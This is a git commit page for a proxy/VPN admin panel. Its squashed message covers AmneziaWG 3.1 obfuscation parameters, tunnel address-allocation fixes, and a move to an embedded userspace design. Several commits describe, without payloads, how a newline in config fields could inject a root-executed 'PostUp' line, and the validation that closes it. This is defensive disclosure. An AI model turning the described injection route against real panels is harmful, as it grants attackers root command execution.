vless/vmess/trojan's clients+email shape, not accounts+user), so any
settings drift on this inbound fell through to the generic remove+add
path. Forces a restart instead, the same defensive choice already made
for REALITY and TPROXY -- scoped to auth:"password" specifically so the
other, noauth SOCKS5 bridges (panel/node/mtproto egress) keep the cheaper
hot path.

* Fix Attach reusing one identity's address across wg/awg inbounds

ClientService.Attach deliberately copies one identity's stored
AllowedIPs into every WireGuard/AmneziaWG inbound it's attached to
in the same call, so the same person gets the same tunnel address
on every protocol they use. Its loop calls addInboundClient once per
inbound, and each of those independently computes
otherTunnelAllowedIPs -- so by the second inbound in the batch, the
first inbound's just-written copy of this identity's own address
looked like a cross-inbound collision against itself.

Real production symptom this caused: detaching then re-attaching a
client to both wg and awg failed with "wireguard: allowedIPs entry
X is already used by a client on inbound 'awg' (#N)" -- the exact
address the identity is supposed to keep, rejected as if it belonged
to someone else.

Add a selfEmails exclusion to otherTunnelAllowedIPs and populate it
from the client(s) being processed at the one real call site. Safe
unconditionally: ClientRecord.Email is globally unique, so a match
can only ever be this same identity's own entry on a sibling inbound,
never a genuine different client's address.

Reproduced the underlying mechanism live (manual entry correctly
rejected as a cross-inbound collision; fresh auto-allocation
correctly avoided a used address) before writing the fix, to confirm
the guard itself works and the bug is specifically in how Attach's
per-inbound calls interact with it.

* Attach: allocate fresh when re-attaching with no active tunnel

The previous fix (82cc69f5) made Attach's own address-reuse
correctly not collide with itself across inbounds -- but it still
always reused an identity's stored AllowedIPs verbatim, even when
that identity currently has zero WireGuard/AmneziaWG attachments at
all. A real report from testing this live: an identity fully
detached from both its wg and awg inbounds, then re-attached, got
its old address back even though several lower addresses were free
-- because nothing about being fully detached ever cleared the
stored value Attach copies from.

Add hasTunnelAttachment, checked once against the identity's CURRENT
inbound set before Attach's loop runs: if none of its current
inbounds is WireGuard/AmneziaWG, clear the stored AllowedIPs so this
attach allocates fresh (matching what a brand-new client would get)
instead of resurrecting an address nothing reserves anymore. Left
alone when the identity already has an active tunnel elsewhere, so
extending it to a second protocol still keeps a consistent address.

* Fix TestOtherTunnelAllowedIPsExcludesSelfEmail's own test setup

CI caught this: the "genuinely different client" (other@wg) was
seeded onto the SAME inbound passed as excludeID, which
otherTunnelAllowedIPs already excludes entirely regardless of the
selfEmails fix -- so the assertion that its address is still
reported could never have passed, proving nothing either way. Move
it onto the sibling inbound alongside shared@id, which is what the
test actually needs to exercise (two clients on one sibling, one
excluded by email, one not).

* Attach: never inherit an address that doesn't fit the target inbound

hasTunnelAttachment (from the earlier fix, commit 51067f16) only
asked "does this identity have ANY tunnel attachment", treating that
as license to reuse its stored address verbatim on every inbound
being attached. Real production case this missed: an identity's
stored address came from WireGuard's own fallback subnet
(10.0.0.0/24, used when that inbound has no other clients to infer a
base from), then got attached to a second, AmneziaWG inbound
configured for a completely different subnet (10.8.1.0/24).
defaultAmneziaWGClients's already-set-AllowedIPs branch only checks
for collisions, never subnet membership, so the mismatched address
was accepted silently -- producing a peer that can never actually
connect, since an AmneziaWG address must fall inside the kernel
interface's own configured subnet to be routable at all.

Add addressesFitAmneziaWGInbound, checked per inbound inside Attach's
loop: if the inherited address doesn't fit the SPECIFIC inbound being
attached, clear it just for that one so it gets a fresh, valid
allocation instead, while other already-attached inbounds keep their
existing values. WireGuard has no equivalent strict subnet
requirement (allocateWireguardAddress can widen to a fallback pool
for it), so this only ever constrains AmneziaWG targets.

* Give WireGuard an explicit, admin-configurable subnet field

WireGuard previously had no configurable subnet at all -- only an
implicit one, either inferred from existing clients' own addresses
(wireguardAllocationBase) or a hardcoded 10.0.0.0/24 fallback when
none exist yet. AmneziaWG, by contrast, has always had a real
server.subnetIp/subnetCidr field in its settings, editable in the
UI. User request: give WireGuard the same treatment.

Backend: explicitWireguardSubnetBase reads an optional subnetIp/
subnetCidr pair from the inbound's own settings JSON (mirroring
AmneziaWG's defaultAmneziaWGSubnetBases). defaultWireguardClients
checks it first; only when unset does it fall back to today's
inference-from-existing-clients behavior, so an inbound saved before
this field existed keeps working exactly as it always has.

Frontend: subnetIp/subnetCidr added to WireguardInboundSettingsSchema
and the inbound form (mirroring AmneziaWG's own field layout/labels),
with a real default (10.0.0.0/24, the same value the backend already
fell back to) seeded for newly created inbounds so the field starts
populated and editable rather than blank. Translated across all 13
locales.

This also structurally closes the class of bug fixed in
82cc69f5/291c47b3: with wg and awg subnets explicit and
independently controllable, an admin who wants matching addresses
across both protocols can configure them to actually agree, instead
of one silently inheriting the other's incompatible range.

* Split the client edit form's AllowedIPs into per-protocol fields

A client attached to both WireGuard and AmneziaWG shared one AllowedIPs
form field with a dynamically-switching label, so its two genuinely
different addresses could never both be shown or edited correctly.
Worse, Update/Create broadcast that one shared value to every attached
wg/awg inbound with no subnet-fit check, so an ordinary edit save could
silently overwrite one protocol's address with the other's -- the same
bug class already fixed for Attach, but reachable from any client edit.

model.Client gains an optional AllowedIPsByInbound map so a caller can
send distinct values per inbound; Update/Create honor it and, when it's
absent, clear a shared value that doesn't fit an AmneziaWG inbound's own
subnet instead of writing it through. A new TunnelAllowedIPsByInbound
read path feeds the real per-inbound address to the client edit form via
GET, which now renders two separate, correctly-labeled fields whenever
both protocols are attached (unchanged single dynamic field otherwise).

* Regenerate openapi.json for the new allowedIPsByInbound field

Follow-up to 878ee839: gen:zod (frontend/src/generated) was already
regenerated and committed, but gen:api (frontend/public/openapi.json)
wasn't, so CI's codegen drift check failed.

* Fix build breakage from merging upstream main: Update() gained a limitHwid param

Two of our own AllowedIPs tests (not present upstream, so the merge never
flagged them as conflicting) still called the old 3-arg Update(inboundSvc,
id, client) -- upstream's hardware-ID-limit feature added a required
limitHwid parameter that every other caller in this package already
passes. Also drop createDefaultInboundSettings from InboundsPage.tsx: the
merge conflict resolution kept the import, but upstream's clone-payload
refactor (buildClonePayload, inbound-clone.ts) already calls it
internally now -- this file doesn't need it directly anymore.

* Fix real bug: AmneziaWG clients rejected as "empty client ID" in 3 places

Three switch statements on inbound.Protocol handle "wireguard" explicitly
(checking client.PublicKey) but fall through to the default case for
"amneziawg" (checking client.ID, which AmneziaWG clients never set --
they use PublicKey/Email like WireGuard, not the VMess/VLESS UUID field).
This is what the 4 AllowedIPs tests were actually catching:
UpdateInboundClient's newClientId derivation hit this same default branch,
so every Update() on an AmneziaWG client returned "empty client ID"
before ever reaching the AllowedIPs logic being tested.

Fixed by adding "amneziawg" alongside "wireguard" in each switch:
addInboundClient's per-client validation, UpdateInboundClient's
newClientId derivation, and AddInbound's per-client validation (the
third one wasn't hit by these tests, but has the identical bug -- creating
a brand-new AmneziaWG inbound with a client attached would fail the
same way).

* refactor(amneziawg): rename Obfuscation20 to Obfuscation31, drop the dead mobile preset

Mechanical rename ahead of the AmneziaWG 3.1 parameter work: the type,
generator and prose all said 2.0, and the "mobile" generator preset was
reachable only from its own test. No behavior change.

* feat(amneziawg): AmneziaWG 3.1 obfuscation parameters (backend + generated schemas)

Adds the 3.1 parameter surface to the inbound settings and both Go config
emitters: I2-I5 signature packets, HeaderProtectionKey (base64 32-byte,
shared server<->client), ContentPaddingAddition, the five handshake-timing
randomization ranges (RekeyAfterTime/RekeyTimeout/RejectAfterTime/
KeepaliveTimeout/MaxHandshakeAttempts), and the RandomTrailers/
DisableCookies switches. Freshly generated sets fill everything except
I2-I5 (matching Amnezia's own generator) with jittered ranges bracketing
WireGuard's stock timing constants; every reject window starts >= 30s
above the rekey window by construction. Empty fields stay off the wire,
so blanking a field disables just that feature.

Validation generalizes the H1-H4 range checker for the new uint32-range
fields, requires min 1 on timers, cross-checks rekey-vs-reject, and
demands a real 32-byte base64 header-protection key. The manager warns
once per process when the installed awg tools predate 3.1 but an inbound
uses 3.1 parameters (awg-quick rejects unknown keys with a generic
error otherwise); apply still proceeds.

Requires amneziawg-tools v3.1.20260812+ / module or amneziawg-go
v3.1.20260814+ on the host.

* feat(amneziawg): emit and randomize 3.1 parameters in the frontend

Both client-config emitters (the vpn:// link builder and the clients-page
.conf builder) now carry the 3.1 [Interface] lines in the same order as
the Go emitters. The obfuscation randomizer moves out of InboundFormModal
into a shared lib/xray/amneziawg-obfuscation.ts that also fills the new
fields, and createDefaultAmneziawgInboundSettings switches from static
values to that generator — a fresh inbound now really gets the unique
fingerprint the docs promise instead of the same jc=5/jmin=10 set on
every install.

Schema parse-time defaults for the new fields stay ''/false on purpose:
real values come only from the generator, so resaving an inbound never
mutates its stored parameters. A new parity test pins the hand-written
AmneziawgServerSchema to the generated ServerSettings key set, so a field
added on one side can no longer silently vanish from configs.

* feat(amneziawg): 3.1 form fields and translations

Inbound form gains inputs for I2-I5, HeaderProtectionKey (filled by the
existing obfuscation Regenerate button), ContentPaddingAddition, the five
timing ranges, and the RandomTrailers/DisableCookies switches; the MTU
input picks up the min=1 its schema already enforced. All 13 locales get
the 19 new keys and drop the "2.0" branding from the s3/s4/i1 labels.

* docs(amneziawg): document 3.1 parameters; install.sh kernel/version notes

The AmneziaWG page's obfuscation section moves from the 2.0 to the 3.1
parameter set: table rows for I2-I5, HeaderProtectionKey,
ContentPaddingAddition, the timing-randomization ranges and the
RandomTrailers/DisableCookies switches, a requirements callout (tools
v3.1.20260812+, module/awg-go v3.1.20260814+, Linux 6.7+ for the DKMS
path), and a sample client .conf that matches what the panel actually
emits (including the DNS defaults and PersistentKeepalive it always had).

install.sh warns before a DKMS build on a pre-6.7 kernel and after any
install that left pre-3.1 amneziawg-tools on PATH.

Also updates the hosts API operation paths ({id} -> {groupId}) in the
stale ru/zh/fa reference pages: syncing docs/public/openapi.json for the
new AmneziaWG schema fields surfaced that rename, which had never been
copied over, and the docs build fails on paths missing from the spec.

* fix(amneziawg): reject control characters and canonicalize 3.1 range values

Adversarial review of the 3.1 work surfaced a validation gap:
base64.DecodeString silently ignores CR/LF, so a header-protection key
that picked up a line wrap in transit decoded to a valid 32 bytes,
passed validation, and was emitted verbatim into every client config —
where the orphan second line breaks the import while the server (whose
emitter strips control chars) keeps running with the correct key. The
key and range validators now reject control characters outright.

Also from the same review: range values are canonicalized on save
("110 - 140" -> "110-140", whitespace-only collapses to feature-off,
closing a case where the server conf rendered an invalid blank-value
line the client emitters omitted); the rekey/reject invariant is now
enforced against WireGuard's 120s/180s defaults when only one side is
set; and the structural fingerprint joins on "\n" instead of "|",
which is a legal I1-I5 character and made adjacent free-text fields
join-ambiguous.

* fix(install): resolve latest release tag via web redirect to dodge API rate limits

The non-interactive install smoke test resolved the release version through
the unauthenticated GitHub API (api.github.com/.../releases/latest), which
allows only 60 requests/hour per IP. The test installs twice in one run, and
on shared CI runner IPs the second call gets rate-limited, returns no
tag_name, and install.sh treats an empty version as fatal (exit 1) — the same
"Failed to fetch x-ui version" real users hit behind CGNAT/shared addresses.

resolve_latest_tag() now reads the tag from the github.com releases/latest
web redirect (not subject to the API rate limit), falling back to the API
only if the redirect yields nothing. Verified with the real
deploy/test/smoke-noninteractive.sh (two installs, both green).

* fix(amneziawg): three review findings on #6105, plus a comment trim

1. A peer's allowedIPs reached the generated .conf unvalidated and
   unsanitized, unlike email/publicKey/preSharedKey which
   normalizeAmneziaWGSettings already guards. A newline in an entry let a
   following "[Interface]" re-open the interface section, whose "PostUp = ..."
   awg-quick then runs as root on the next apply. Reproduced end to end
   against generateServerConfig. The save path now rejects and canonicalizes
   through normalizeWireguardAllowedIPs, and the render path sanitizes as a
   backstop for rows predating the validation (an upgrade, a restored backup,
   a direct DB edit). H1-H4 get the same render-time sanitize, and the two NIC
   name fields a plausibility check, since stripping control characters alone
   would still let a shell metacharacter into a root-executed PostUp line.

2. EgressPortForInbound is 63100 + inbound id, so an id past 2435 derives a
   port above 65535 -- and Xray rejects the whole generated config over one
   invalid port, taking every other protocol down with it. It now reports
   ok=false past the range, and both the Xray bridge and its TPROXY rules are
   skipped instead of emitting an impossible port.

3. The downloadable AmneziaWG .conf read ClientRecord.allowedIPs, a single
   shared column that holds the WireGuard address for an identity attached to
   both protocols -- the exact ambiguity tunnelAllowedIPs was added to resolve
   for the edit form. The info and QR modals already hydrate that field, so
   they now pass this inbound's own address to the builder.

Also trims the comment blocks in the files touched here to the 2-line
guidance in CLAUDE.md: internal/amneziawg alone carried 423 comment lines in
over-long blocks against 118 for the comparable internal/mtproto, and is now
at 110. Every non-obvious constraint is kept (the kernel S1/S2 rule, why
PostDown is best-effort, why grep -c and not -q, why the fingerprints split
three ways); the narration is gone. Two hot_diff.go comments pointed at an
internal/amneziawgnet package and an injectAmneziawgnetSocks function that
exist nowhere in the tree; the checks themselves are unchanged.

* feat(logs): add an AmneziaWG log view to the overview

The overview has an access-log view for Xray but nothing for AmneziaWG, so
when a tunnel misbehaves there is no way to see it from the panel at all. A
kernel tunnel logs no per-request lines, so the equivalent view is built from
the two things it does expose:

- Live per-peer activity from `awg show <iface> dump`, joined to the client
  email through the desired peer set: last handshake, endpoint, allowed IPs,
  cumulative transfer and online state, newest handshake first.
- The panel's own AmneziaWG event lines (interface up/down, awg-quick
  failures, the pre-3.1 tools warning), which are what actually explain a peer
  being absent from the table.

POST /panel/api/server/amneziawglogs/:count serves both, with the same
count + filter contract GetXrayLogs uses, and the modal mirrors XrayLogModal's
toolbar, auto-update, mobile cards and download. The action-bar button is
gated on a new status.amneziawg.configured, which stays true while an inbound
exists but its interface is down -- exactly when the event lines matter.

Verified against a running panel: the endpoint returns the peer table and
real event lines ("awg/awg-quick not found on PATH", "create config dir:
permission denied"), and count and filter both narrow as documented.

One of those lines surfaced a Debugf that had been rendering as
"for inbound1:amneziawg:"; fixed here since it is now user-visible.

* fix(amneziawg): stop double-counting a routed inbound's traffic

injectAmneziawgEgress tags its Xray bridge with the AmneziaWG inbound's own
tag, so the stock Routing page can target it. Xray therefore reports that
bridge's bytes under the inbound's tag, and XrayTrafficJob feeds them to
AddTraffic -- which accumulates -- on top of the same bytes AmneziaWGJob
already reported from `awg show dump`. An inbound with routeThroughXray on
counted roughly twice its real traffic, which also inflates the quota checks
that read the same counters.

The awg counters are the complete measure: every peer, whether or not TPROXY
routed it, and the same wire bytes the per-client totals are built from, so
they stay and the Xray rows are dropped. Per-client stats were never affected
-- a dokodemo-door bridge has no per-user identity, so Xray emits no
user>>>email rows for it.

Filtering happens before every consumer, so the DB totals, the external
traffic inform and the dashboard's live speed all read one source per inbound.
The set of bridge tags now comes from a predicate shared with
injectAmneziawgEgress itself, with a test that pins the two together -- naming
one tag too few doubles the traffic again, one too many makes real traffic
vanish.

* fix(amneziawg): align the three .conf emitters on one peer field order

The panel builds an AmneziaWG client .conf in three independent places, and
they disagreed: buildAmneziaWGClientConfig put PresharedKey right after
PublicKey (wg-quick(8)'s own order, and what both WireGuard emitters on the
clients side already use), while genAmneziaWGConfig and the Go
amneziaWGConfigText put it after Endpoint. A user comparing a subscription
link against a downloaded .conf sees the difference immediately, and the
generators are exactly the kind of parallel implementation CLAUDE.md warns
about drifting.

Moves the two outliers onto the wg-quick order. Also drops the stray trailing
newline that only appeared when PersistentKeepalive was set, so a config now
always ends on its last set field whichever that is -- the same shape all
three emitters produce for the same client.

Parsing is unaffected either way (the format is order-insensitive, and the
AmneziaVPN app reads it as a flat key-value bag), so this changes only the
rendered text. Adds a test on each side that pins the peer block's field
order, since nothing previously asserted it.

* refactor(amneziawg): switch to the embedded amneziawg-go/gVisor architecture

Replaces the kernel-module (DKMS) + awg-quick + TPROXY backend with the
fork's own embedded design: amneziawg-go runs in-process over a userspace
gVisor netstack, and each peer's decapsulated traffic relays into its own
loopback Xray SOCKS5 inbound, so Xray's native stats/sniffing/routing work
for free instead of through hand-rolled bridges. No kernel module, no DKMS,
no Secure Boot conflicts, works the same in a container as on bare metal.

- internal/amneziawgnet: new package (Device/UAPI, gVisor netstack, TCP/UDP
  forwarding, SOCKS5 relay, peer identity, IPv6 host-alias egress identity,
  per-client port-forwarding) - amneziawg-go v3.1.20260814 + gvisor.
- internal/amneziawg: keep the reusable protocol-shape types/validation
  (Instance/Peer/Obfuscation, InstanceFromInbound); drop the OS-shellout
  half (awg-quick, TPROXY policy routing, NDP proxy, peer-stats parsing).
- internal/web/service: rewire the 5 integration points (job, runtime,
  client-apply, web shutdown, xray config) from the old manager to the new
  one; the AmneziaWG log view is rebuilt on the embedded Device's own UAPI
  dump (extended to carry endpoint/AllowedIPs) instead of `awg show dump`.
- install.sh: drop DKMS/ndppd/TPROXY/Secure-Boot installer code (~250
  lines) - an entire recurring class of installer fragility goes away.
- frontend: drop the now-meaningless routeThroughXray toggle (the relay is
  always on); keep the field in the Zod schema, unexposed, so it isn't
  silently stripped from stored settings on next save - two regression
  tests deliberately depend on the Go struct still carrying it.
- docs/i18n: rewrite amneziawg.mdx for the new architecture; drop the
  dead routeThroughXray translation keys across all 13 locales.

Real production throughput (embedded core datapath, isolated bench, same
box the kernel-module path was measured on): ~296 Mbit/s up, ~640 Mbit/s
down, vs. 414.69 MB/s (~3.3 Gbit/s) for the kernel module on the same
hardware - a real gap, tempered by this being single-stream/no-SOCKS5-hop
and most VPN traffic being latency-bound rather than throughput-saturating.

* fix(amneziawg): restore the branch's own Obfuscation31 shape + 2 CodeQL findings

The previous push's wholesale-copy of types.go/params.go from the fork's
main branch pulled in that branch's own independent (and incompatible)
naming for the same AWG 3.1 feature set: Obfuscation20/GenerateObfuscation20
instead of this branch's already-shipped Obfuscation31/GenerateObfuscation31,
and a missing CanonicalizeUintRange -- broke every Go CI job (the whole
matrix fails to compile when any one package doesn't, which is why govulncheck/
golangci/postgres-durable-first/race all failed identically, not just go-test).

Restores params.go/params_test.go verbatim from this branch's own last
commit (a strict superset of validation: it already cross-checks rekey vs.
reject timing windows, which the copied version never did) and folds the
3.0/3.1 fields (HeaderProtectionKey, ContentPaddingAddition, the 5 timing
fields, RandomTrailers/DisableCookies) into Obfuscation31 itself, matching
the original struct exactly instead of as separate top-level Instance
fields. instance.go, the two amneziawgnet call sites, and 7 amneziawgnet
test files updated to match. Also drops the one test (sanitizeConfigValue)
that only ever served the retired kernel-module .conf writer -- correctly
not ported, so the test testing it shouldn't have been copied either.

Also fixes 2 CodeQL findings the same push surfaced: a clamped uint64->int64
conversion for the new log view's live byte counters (server.go), and an
unneeded len+len sum feeding a slice pre-size in the v6-egress outbound
merge (xray.go) -- append already grows correctly without it.

* chore(amneziawg): regenerate frontend schemas for updated doc comments

npm run gen was missed after the previous commit's types.go doc-comment
edits (Obfuscation20 -> Obfuscation31, ValidateHeaderProtection ->
ValidateObfuscation in the prose) -- openapigen bakes those comments
into the generated schema's description field, so the committed
frontend/src/generated/schemas.ts and openapi.json still had the old
wording. codegen's git-diff-exit-code check caught it correctly.

* fix(amneziawg): narrow 2 test fixtures that collided with MaxForwardedPorts

TestCheckForwardedPortsConflict_CollidesWithEnabledInboundPort and
..._NoCollisionWhenPortsDontOverlap used "8000-8100"/"9000-9100" as their
ForwardedPorts fixture -- 101 ports each, one over MaxForwardedPorts (100).
The cap check (checkForwardedPortsConflict, added this session alongside
the SOCKS-phantom-port check) fires first, so both tests got "more than
100 forwarded ports" instead of ever reaching the collision logic they're
actually testing. The cap itself has its own dedicated boundary test
already; these two just needed a narrower range that still covers/misses
port 8080 as intended -- 8075-8085 and 9075-9085, 11 ports each.

* fix(amneziawg): checkAmneziawgnetSocksConflict had no receiver in its new home

My merge-conflict resolution kept this as a method call (s.checkAmneziawgnetSocksConflict)
inside checkPortConflictTx, a plain function with no *InboundService receiver --
upstream's #6225 fix moved the port-conflict check out of the (s *InboundService)
method and into this new tx-scoped free function, and I didn't notice the call
site needed to change shape too. CI caught it immediately (undefined: s); nothing
in this specific package can be locally verified past internal/database's own
unrelated, pre-existing CGO build issue on this dev machine.

Since the signature had to change either way, folded in the fix already flagged
as a separate follow-up: checkAmneziawgnetSocksConflict now takes the caller's
db handle instead of fetching its own via database.GetDB(), so it actually runs
inside the same serialized transaction #6225 introduced -- previously it sat
right next to that race fix without benefiting from it.

* fix: address the review findings on the embedded AmneziaWG PR

5 blocking findings:

- Floor S3/S4 at 12 in both obfuscation generators (Go and frontend) and
  reject a hand-edited value below that when HeaderProtectionKey is set --
  IpcSet requires it, and ~39% of previously-generated sets violated it
  silently.
- Guard PrivateKey/PrimaryDNS/SecondaryDNS/remark against newline injection
  in the AmneziaWG .conf builder (both the Go subscription-link path and
  the frontend downloadable-config path) -- unguarded, any of them could
  inject an arbitrary config line into a subscriber's client.
- Bound the derived AmneziaWG SOCKS relay port to <= 65535 once an
  inbound's id is known, and check the reverse direction (does the relay
  port collide with an existing inbound's port) on both create and update
  -- previously only port -> relay collisions were checked, not relay ->
  port.
- Gate injectAmneziawgV6Egress on the same V6AliasesActive predicate
  desiredV6Aliases already uses, so the two can't disagree about whether a
  peer's IPv6 identity is actually active at the OS level.

2 minor findings:

- Fix the forwarded-ports cap check's off-by-one (a spec covering exactly
  the cap was rejected as if it were over it).
- Correct docker-compose.yml's stale comment describing the retired
  DKMS/kernel-module architecture.

* chore: retrigger CI

build (armv5) failed on a transient Go module proxy network error
(INTERNAL_ERROR stream reset on sagernet/sing), unrelated to this PR's
changes.

* docs: fix doc comments still describing the retired DKMS/awg-quick design

A few doc comments (and one illustrative test log line) survived the
embedded-architecture cutover unchanged and now contradict the code
they sit next to:

- internal/amneziawg/types.go's package comment claimed this package
  still owns a Manager that reconciles OS-level interfaces via
  awg-quick/DKMS -- that Manager was removed; the reconcile loop lives
  in internal/amneziawgnet now, and this package is protocol-shape-only.
- internal/amneziawg/params.go's ValidateObfuscation/ValidateConfigValue
  comments cited "awg-quick up" / "awg-quick executes as root" as the
  reason to validate -- the server itself never calls awg-quick in this
  architecture; the same value still reaches a real rendered .conf that
  a client app or an admin's own awg-quick CLI applies downstream, so
  the validation is still warranted, just for a different consumer.
  Mirrored the same fix in inbound_amneziawg.go's matching comment and
  its test's comment.
- internal/amneziawgnet/manager.go's Manager doc comments (x3) pointed
  readers at "internal/amneziawg.Manager" for comparison -- that type no
  longer exists in this diff at all. Repointed at internal/mtproto.Manager,
  the pattern this was actually modeled on and the one that's still real.
- Swapped one test's illustrative "awg-quick up awg2 failed" log line for
  a message shaped like this architecture's actual amneziawgnet logging,
  so a reader skimming the test doesn't wonder whether the server still
  shells out to awg-quick.

No behavior change.

* fix(docs): re-run codegen for xray-settings.mdx after conflict merge

The automated conflict-resolution hand-merge for this generated file
was content-correct but didn't byte-match a real regen (different
YAML long-string folding style). Re-ran npm run gen + docs' gen:api
and kept that canonical output instead.

Co-Authored-By: Claude Sonnet 5 <[email protected]>

* fix(amneziawg): drop the dead access-log email backfill

amneziawgEmailIndex keyed peers by "<tag>|<tunnel IP>", a scheme built
for the retired TPROXY bridge where the peer's decapsulated tunnel
address survived as the access log's from-address. The embedded
architecture relays through a loopback SOCKS5 dial, so every AmneziaWG
log line's from-address is 127.0.0.1:<ephemeral> and the lookup could
never match: the index was rebuilt on every log view just to miss.
Remove the index, its GetXrayLogs wiring and its test. If per-line
emails are wanted back, the relay would have to publish a
local-port->email registry for the viewer to resolve loopback sources.

* fix(api): generate AmneziaWGLogs/PeerActivity schemas instead of hand-writing them

The amneziawglogs endpoint's response structs were missing from
openapigen's StructAllow, so they were silently absent from every
generated schema/example, the endpoints.ts entry carried a hand-written
response, and AmneziaWGLogModal.tsx duplicated the shapes as local
interfaces - the exact drift the allowlist rule exists to prevent.
Allowlist both structs with example tags, point the endpoint at the
generated schema, import the generated types in the modal, and sync
docs/public/openapi.json.

* chore(amneziawg): drop the unreferenced quiccapture package

Nothing imports internal/amneziawg/quiccapture and no route exposes it;
its package doc justifies the code as a port of
frontend/src/lib/xray/i1Generators.ts, which does not exist in this
repository, and promises an API round-trip that also does not exist.
1,110 lines of unreachable code with misleading provenance claims.
Revert this commit to bring the package back when the live-capture I1
feature and its frontend counterpart actually land.

* fix(clients): re-run cross-inbound conflict checks on the serialized writer

The new client-level checks - cross-inbound AllowedIPs collisions and
AmneziaWG forwardedPorts conflicts - read a fresh DB snapshot, decide,
and only then enter runSerializedTx, while lockInbound only serializes
writers on the SAME inbound. Two concurrent client creates on two
different tunnel inbounds both passed the read and both committed,
yielding two peers with one address: the exact check-then-claim race
81cfd857 (#6225) closed for AddInbound, which this PR's own
checkAmneziawgnetSocksReverseConflict already cites. Keep the pre-tx
pass for fail-fast UX and re-validate inside the transaction, where the
single writer makes the answer authoritative. The race test drives two
goroutines at two inbounds and demands exactly one winner; it fails
with committed=2 when the in-tx re-check is removed.

* fix(amneziawg): hot-apply depletion disables like mtproto does

applyTrafficMutationBatch special-cases MTProto so a quota/expiry
depletion cuts the sidecar immediately, but AmneziaWG fell through to
runtime AddUser/RemoveUser - explicit no-ops for this protocol - so a
depleted peer kept tunneling until the next 10s reconcile tick. Route
it through applyLocalAmneziaWG, whose own contract (re-read committed
settings, filter depleted clients, push to the interface) is exactly
this case; the comment claiming it mirrors applyLocalMtproto is now
true for the depletion path too.

* fix(amneziawg): persist cleared DNS fields instead of resurrecting defaults

PrimaryDNS/SecondaryDNS marshaled with omitempty, so clearing them
persisted settings with no key at all - and the frontend re-parses
stored settings through a Zod schema whose .default('8.8.8.8') /
.default('8.8.4.4') fire on missing keys, silently repopulating the
form on every load and re-persisting the defaults on the next save.
Blank is a documented, meaningful state (no DNS line in client
configs); drop omitempty so a cleared value survives the round-trip.
The regression test normalizes a server block with cleared DNS and
fails when the keys are dropped.

* fix(amneziawg): accept cleared numeric obfuscation/subnet fields in the form

AntD InputNumber emits null when cleared, Zod .default() only replaces
undefined, and unlike wireguard.ts - whose optionalClearedInt comment
documents exactly this failure mode - the AmneziaWG schema declared
subnetCidr and jc/jmin/jmax/s1-s4 as bare z.number() defaults. Clearing
any of the eight fields made safeParse reject the null and block the
save until the user retyped a value. Absorb null into undefined while
keeping each field's schema default, so a cleared field refills its
documented default and legacy blobs with absent keys behave as before.

* fix(amneziawg): guard the third .conf emitter against newline injection

The review-round fix added the newline guard to amneziaWGConfigText (Go)
and buildAmneziaWGClientConfig, but genAmneziaWGConfig in inbound-link.ts
- the third of the three emitters its own comment says must not drift -
still rendered privateKey/primaryDns/secondaryDns/remark unescaped, so a
newline there injected a config line (e.g. a rogue PostUp) into the
inbound form's downloaded .conf. Add the same guard, plus the regression
tests the original fix shipped without: all four fields on the Go and
both frontend emitters go red if any guard is removed.

* test(amneziawg): pin the S3/S4 floors the TS drift guard claims to mirror

The test's docstring says it mirrors internal/amneziawg/params_test.go,
but it asserted S3>=8/S4>=4 while the Go test and both generators pin
12/12 - the floor ValidateObfuscation enforces whenever a header
protection key is set, which this generator always sets. A regression
narrowing the TS floors into 8-11/4-11 would have passed the drift
guard and produced configs the backend rejects on save.

* docs: restore the pia repo-map entry and document the AmneziaWG subsystem

Merging main dropped CLAUDE.md's internal/pia/ bullet (added by #6272)
while resolving the repo-map conflict - the package itself is untouched.
Restore it, add the missing map entries for the two packages this branch
introduces (internal/amneziawg/, internal/amneziawgnet/), bump the cron
count, and give amneziawg_job its row in architecture.md's 5.4 table.

* chore(amneziawg): correct comments stranded by the architecture pivot

ae77c7e9's cutover to the embedded gVisor path deleted the kernel-module
code but left several comments describing it in the present tense:
hot_diff.go cited the removed service.amneziawgEgressStreamSettings and
wrongly claimed AmneziaWG is the only sockopt.tproxy source (tunnel's
TProxy mode is the live one the guard protects), socks_config.go pointed
at the deleted EgressBasePort/EgressPortForInbound, manager.go referred
to the deleted Manager and its fingerprinting as live code, web.go's
cron registration claimed the job scrapes traffic (its own doc says it
does not), and types.go capped ContentPaddingAddition at uint16 when
validation and upstream both use uint32.

* style(lint): satisfy gofumpt/goimports so make verify is green

json_service.go's two 'Tag: "proxy"}' literals came in with main's own
cc245a90 formatting commit and fail the repo's gofumpt gate for everyone;
the import grouping in inbound_amneziawg.go is from the serialized-writer
fix on this branch.

---------

Co-authored-by: Claude Sonnet 5 <[email protected]>
Co-authored-by: Sanaei <[email protected]>
Co-authored-by: claude[bot] <41898282+claude[bot]@users.noreply.github.com>
Kuzz007 há 9 horas atrás
pai
commit
effcccceac
100 ficheiros alterados com 10419 adições e 94 exclusões
  1. 8 1
      CLAUDE.md
  2. 4 0
      docker-compose.yml
  3. 1 0
      docs/architecture.md
  4. 177 0
      docs/content/docs/en/config/amneziawg.mdx
  5. 1 0
      docs/content/docs/en/config/inbounds.mdx
  6. 1 0
      docs/content/docs/en/config/meta.json
  7. 7 0
      docs/content/docs/en/reference/api/server.mdx
  8. 1 1
      docs/content/docs/fa/reference/api/hosts.mdx
  9. 1 1
      docs/content/docs/ru/reference/api/hosts.mdx
  10. 1 1
      docs/content/docs/zh/reference/api/hosts.mdx
  11. 342 1
      docs/public/openapi.json
  12. 342 1
      frontend/public/openapi.json
  13. 75 0
      frontend/src/generated/examples.ts
  14. 265 1
      frontend/src/generated/schemas.ts
  15. 63 0
      frontend/src/generated/types.ts
  16. 67 1
      frontend/src/generated/zod.ts
  17. 125 0
      frontend/src/lib/xray/amneziawg-obfuscation.ts
  18. 44 1
      frontend/src/lib/xray/inbound-defaults.ts
  19. 3 0
      frontend/src/lib/xray/inbound-form-adapter.ts
  20. 195 1
      frontend/src/lib/xray/inbound-link.ts
  21. 1 1
      frontend/src/lib/xray/inbound-tag.ts
  22. 28 0
      frontend/src/lib/xray/link-label.tsx
  23. 4 3
      frontend/src/lib/xray/protocol-capabilities.ts
  24. 4 0
      frontend/src/models/dbinbound.ts
  25. 8 0
      frontend/src/models/status.ts
  26. 22 0
      frontend/src/pages/api-docs/endpoints.ts
  27. 1 0
      frontend/src/pages/clients/BulkAttachInboundsModal.tsx
  28. 1 0
      frontend/src/pages/clients/BulkDetachInboundsModal.tsx
  29. 1 0
      frontend/src/pages/clients/ClientBulkAddModal.tsx
  30. 161 27
      frontend/src/pages/clients/ClientFormModal.tsx
  31. 36 0
